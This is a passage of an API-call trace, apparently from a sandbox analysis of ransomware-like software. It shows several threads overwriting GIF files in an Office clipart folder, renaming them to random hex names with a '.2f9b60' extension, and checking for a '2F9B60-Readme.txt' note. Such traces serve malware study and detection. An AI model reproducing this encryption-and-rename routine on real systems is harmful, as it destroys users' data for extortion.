(HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0122.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a67d0 [0122.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6c50 [0122.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6c50) returned 1 [0122.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0122.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0122.957] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="25") returned 2 [0122.957] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="d3") returned 2 [0122.957] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="ce") returned 2 [0122.957] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="4b") returned 2 [0122.957] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="5a") returned 2 [0122.957] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="6e") returned 2 [0122.957] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="01") returned 2 [0122.957] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="81") returned 2 [0122.957] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="ae") returned 2 [0122.957] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="db") returned 2 [0122.957] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="f1") returned 2 [0122.957] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="40") returned 2 [0122.957] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="87") returned 2 [0122.957] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="a3") returned 2 [0122.957] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="a4") returned 2 [0122.957] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="72") returned 2 [0122.957] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="08") returned 2 [0122.957] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="9c") returned 2 [0122.957] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="36") returned 2 [0122.957] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="52") returned 2 [0122.957] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="65") returned 2 [0122.958] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="f3") returned 2 [0122.958] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="17") returned 2 [0122.958] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="9b") returned 2 [0122.958] RtlInitAnsiString (in: DestinationString=0x3aecf8e8, SourceString="25d3ce4b5a6e0181aedbf14087a3a472089c365265f3179b" | out: DestinationString="25d3ce4b5a6e0181aedbf14087a3a472089c365265f3179b") [0122.958] RtlAnsiStringToUnicodeString (in: DestinationString=0x3aecf8b8, SourceString="25d3ce4b5a6e0181aedbf14087a3a472089c365265f3179b", AllocateDestinationString=1 | out: DestinationString="25d3ce4b5a6e0181aedbf14087a3a472089c365265f3179b") returned 0x0 [0122.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8d70 [0122.958] wcscat (in: _Dest=0x1cd65340, _Source="25d3ce4b5a6e" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\25d3ce4b5a6e") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\25d3ce4b5a6e" [0122.958] wcscat (in: _Dest=0x1cd65340, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\25d3ce4b5a6e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\25d3ce4b5a6e.2f9b60" [0122.958] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\25d3ce4b5a6e.2f9b60", NtPathName=0x3aecf890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\25d3ce4b5a6e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118d60 [0123.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118d60) returned 1 [0123.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46c90) returned 1 [0123.240] NtQueryInformationFile (in: FileHandle=0x10cc, IoStatusBlock=0x3aecf8f8, FileInformation=0x3aecf908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3aecf8f8, FileInformation=0x3aecf908) returned 0x0 [0123.240] NtSetInformationFile (FileHandle=0x10cc, IoStatusBlock=0x3aecf8f8, FileInformation=0x3aecf908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65340) returned 1 [0123.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8d70) returned 1 [0123.268] FlushFileBuffers (hFile=0x10cc) returned 1 [0123.270] CloseHandle (hObject=0x10cc) returned 1 [0123.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b862f60 [0123.290] wcscpy (in: _Dest=0x1b862f60, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0123.290] wcscat (in: _Dest=0x1b862f60, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0123.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0123.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862f60) returned 1 [0123.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8630c0) returned 1 Thread: id = 1286 os_tid = 0xdf0 [0116.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif")) returned 0x20 [0120.626] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF", dwFileAttributes=0x20) returned 1 [0120.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10dc [0120.627] GetFileSizeEx (in: hFile=0x10dc, lpFileSize=0x3aa0f7e0 | out: lpFileSize=0x3aa0f7e0*=2316) returned 1 [0120.627] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x908, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.627] ReadFile (in: hFile=0x10dc, lpBuffer=0x3aa0f760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3aa0f7a8, lpOverlapped=0x0 | out: lpBuffer=0x3aa0f760*, lpNumberOfBytesRead=0x3aa0f7a8*=0x4, lpOverlapped=0x0) returned 1 [0120.863] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a62f0 [0120.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6530 [0120.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b90 [0120.863] NtQuerySystemTime (in: CurrentTime=0x3aa0f6a0 | out: CurrentTime=0x3aa0f6a0*=132462177262582000) returned 0x0 [0120.863] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x32856b3e [0120.863] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x298d07c9 [0120.863] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x253bcbee [0120.863] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x167ddec9 [0120.863] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x5b2c163e [0120.863] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x18057310 [0120.863] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x3ad5dc2a [0120.863] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x1801e28a [0120.863] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x650bb356 [0120.863] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x1fae1d92 [0120.863] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x4383bb57 [0120.863] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x5211214 [0120.863] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0xb824773 [0120.863] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x8c5e697 [0120.863] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x67eda5d5 [0120.863] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x2e06e75b [0120.863] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x266166ea [0120.863] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x2d52b66a [0120.863] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x57d19135 [0120.863] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x60464e65 [0120.863] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x3a6ff8a1 [0120.863] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x71d67b37 [0120.864] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x6cfbe3ec [0120.864] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x79f2018b [0120.864] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x7e3e5121 [0120.864] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x56432189 [0120.864] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x2c4e3dec [0120.864] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x67eda5d5 [0120.864] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x63cc2b5a [0120.864] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x4b9b5c45 [0120.864] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x61cba902 [0120.864] RtlRandomEx (in: Seed=0x3aa0f690 | out: Seed=0x3aa0f690) returned 0x2dcef817 [0120.872] ReadFile (in: hFile=0x10dc, lpBuffer=0x41f44990, nNumberOfBytesToRead=0x90c, lpNumberOfBytesRead=0x3aa0f690, lpOverlapped=0x0 | out: lpBuffer=0x41f44990*, lpNumberOfBytesRead=0x3aa0f690*=0x90c, lpOverlapped=0x0) returned 1 [0120.872] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.872] WriteFile (in: hFile=0x10dc, lpBuffer=0x41ec0d80*, nNumberOfBytesToWrite=0x90c, lpNumberOfBytesWritten=0x3aa0f694, lpOverlapped=0x0 | out: lpBuffer=0x41ec0d80*, lpNumberOfBytesWritten=0x3aa0f694*=0x90c, lpOverlapped=0x0) returned 1 [0122.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261070 [0122.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608f0 [0122.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202608f0) returned 1 [0122.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ec0d80) returned 1 [0122.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f44990) returned 1 [0122.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503e10) returned 1 [0122.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97df0) returned 1 [0122.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202608f0 [0122.202] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.202] WriteFile (in: hFile=0x10dc, lpBuffer=0x167ca0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3aa0f7b0, lpOverlapped=0x0 | out: lpBuffer=0x167ca0*, lpNumberOfBytesWritten=0x3aa0f7b0*=0x10a, lpOverlapped=0x0) returned 1 [0122.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0122.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0122.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a68f0 [0122.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a68f0) returned 1 [0122.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0122.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a68f0 [0122.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6c20 [0122.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6c20) returned 1 [0122.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0122.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0122.964] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="f4") returned 2 [0122.964] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="24") returned 2 [0122.964] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="d6") returned 2 [0122.964] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="6f") returned 2 [0122.964] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="0c") returned 2 [0122.965] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="b9") returned 2 [0122.965] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="84") returned 2 [0122.965] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="8f") returned 2 [0122.965] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="b0") returned 2 [0122.965] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="92") returned 2 [0122.965] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="d5") returned 2 [0122.965] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="de") returned 2 [0122.965] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="09") returned 2 [0122.965] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="c7") returned 2 [0122.965] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="ef") returned 2 [0122.965] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="b5") returned 2 [0122.965] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="1e") returned 2 [0122.965] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="c4") returned 2 [0122.965] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="99") returned 2 [0122.965] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="ce") returned 2 [0122.965] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="e9") returned 2 [0122.965] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="7e") returned 2 [0122.965] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="3c") returned 2 [0122.965] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="de") returned 2 [0122.966] RtlInitAnsiString (in: DestinationString=0x3aa0f828, SourceString="f424d66f0cb9848fb092d5de09c7efb51ec499cee97e3cde" | out: DestinationString="f424d66f0cb9848fb092d5de09c7efb51ec499cee97e3cde") [0122.966] RtlAnsiStringToUnicodeString (in: DestinationString=0x3aa0f7f8, SourceString="f424d66f0cb9848fb092d5de09c7efb51ec499cee97e3cde", AllocateDestinationString=1 | out: DestinationString="f424d66f0cb9848fb092d5de09c7efb51ec499cee97e3cde") returned 0x0 [0122.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8f30 [0122.966] wcscat (in: _Dest=0x1cd654a0, _Source="f424d66f0cb9" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\f424d66f0cb9") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\f424d66f0cb9" [0122.966] wcscat (in: _Dest=0x1cd654a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\f424d66f0cb9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\f424d66f0cb9.2f9b60" [0122.966] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\f424d66f0cb9.2f9b60", NtPathName=0x3aa0f7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\f424d66f0cb9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x1190a0 [0123.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1190a0) returned 1 [0123.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecb5c0) returned 1 [0123.212] NtQueryInformationFile (in: FileHandle=0x10dc, IoStatusBlock=0x3aa0f838, FileInformation=0x3aa0f848, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3aa0f838, FileInformation=0x3aa0f848) returned 0x0 [0123.213] NtSetInformationFile (FileHandle=0x10dc, IoStatusBlock=0x3aa0f838, FileInformation=0x3aa0f848, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd654a0) returned 1 [0123.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8f30) returned 1 [0123.215] FlushFileBuffers (hFile=0x10dc) returned 1 [0123.217] CloseHandle (hObject=0x10dc) returned 1 [0123.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1cd654a0 [0123.218] wcscpy (in: _Dest=0x1cd654a0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0123.218] wcscat (in: _Dest=0x1cd654a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0123.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0123.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd654a0) returned 1 [0123.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863010) returned 1 Thread: id = 1287 os_tid = 0xde8 [0116.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif")) returned 0x20 [0120.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF", dwFileAttributes=0x20) returned 1 [0120.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10e0 [0120.625] GetFileSizeEx (in: hFile=0x10e0, lpFileSize=0x3ad9f800 | out: lpFileSize=0x3ad9f800*=2454) returned 1 [0120.625] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x992, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.625] ReadFile (in: hFile=0x10e0, lpBuffer=0x3ad9f780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ad9f7c8, lpOverlapped=0x0 | out: lpBuffer=0x3ad9f780*, lpNumberOfBytesRead=0x3ad9f7c8*=0x4, lpOverlapped=0x0) returned 1 [0121.107] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a62f0 [0121.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6230 [0121.108] NtQuerySystemTime (in: CurrentTime=0x3ad9f6c0 | out: CurrentTime=0x3ad9f6c0*=132462177265078000) returned 0x0 [0121.108] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x178acc10 [0121.108] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x120954d4 [0121.108] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x60ac1c5a [0121.108] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x7258a7e6 [0121.108] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x72b91ec2 [0121.108] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x1ed2ae6b [0121.108] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x35b66fb2 [0121.108] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x737ea943 [0121.108] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0xbc2cec4 [0121.108] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x3a372842 [0121.108] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x314a56bb [0121.108] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x23174b80 [0121.108] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x1e304127 [0121.108] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x20f9dba0 [0121.108] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x6eb777e4 [0121.108] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x5ee7c9f5 [0121.108] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x2a4c3b6 [0121.108] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x40bcd39c [0121.110] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x496e0c58 [0121.110] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x3386305f [0121.110] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x257d1cf3 [0121.110] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x3757e450 [0121.110] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x12655cf9 [0121.110] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x6167ed68 [0121.110] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x1ed2ae6b [0121.110] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x5435e585 [0121.110] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x6f47a415 [0121.110] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x14fb7703 [0121.110] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x6736beb5 [0121.110] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x27978fbf [0121.110] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x3c47a46d [0121.110] RtlRandomEx (in: Seed=0x3ad9f6b0 | out: Seed=0x3ad9f6b0) returned 0x4d20c25b [0121.136] ReadFile (in: hFile=0x10e0, lpBuffer=0x41edf0f0, nNumberOfBytesToRead=0x996, lpNumberOfBytesRead=0x3ad9f6b0, lpOverlapped=0x0 | out: lpBuffer=0x41edf0f0*, lpNumberOfBytesRead=0x3ad9f6b0*=0x996, lpOverlapped=0x0) returned 1 [0121.136] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.136] WriteFile (in: hFile=0x10e0, lpBuffer=0x4201f0f0*, nNumberOfBytesToWrite=0x996, lpNumberOfBytesWritten=0x3ad9f6b4, lpOverlapped=0x0 | out: lpBuffer=0x4201f0f0*, 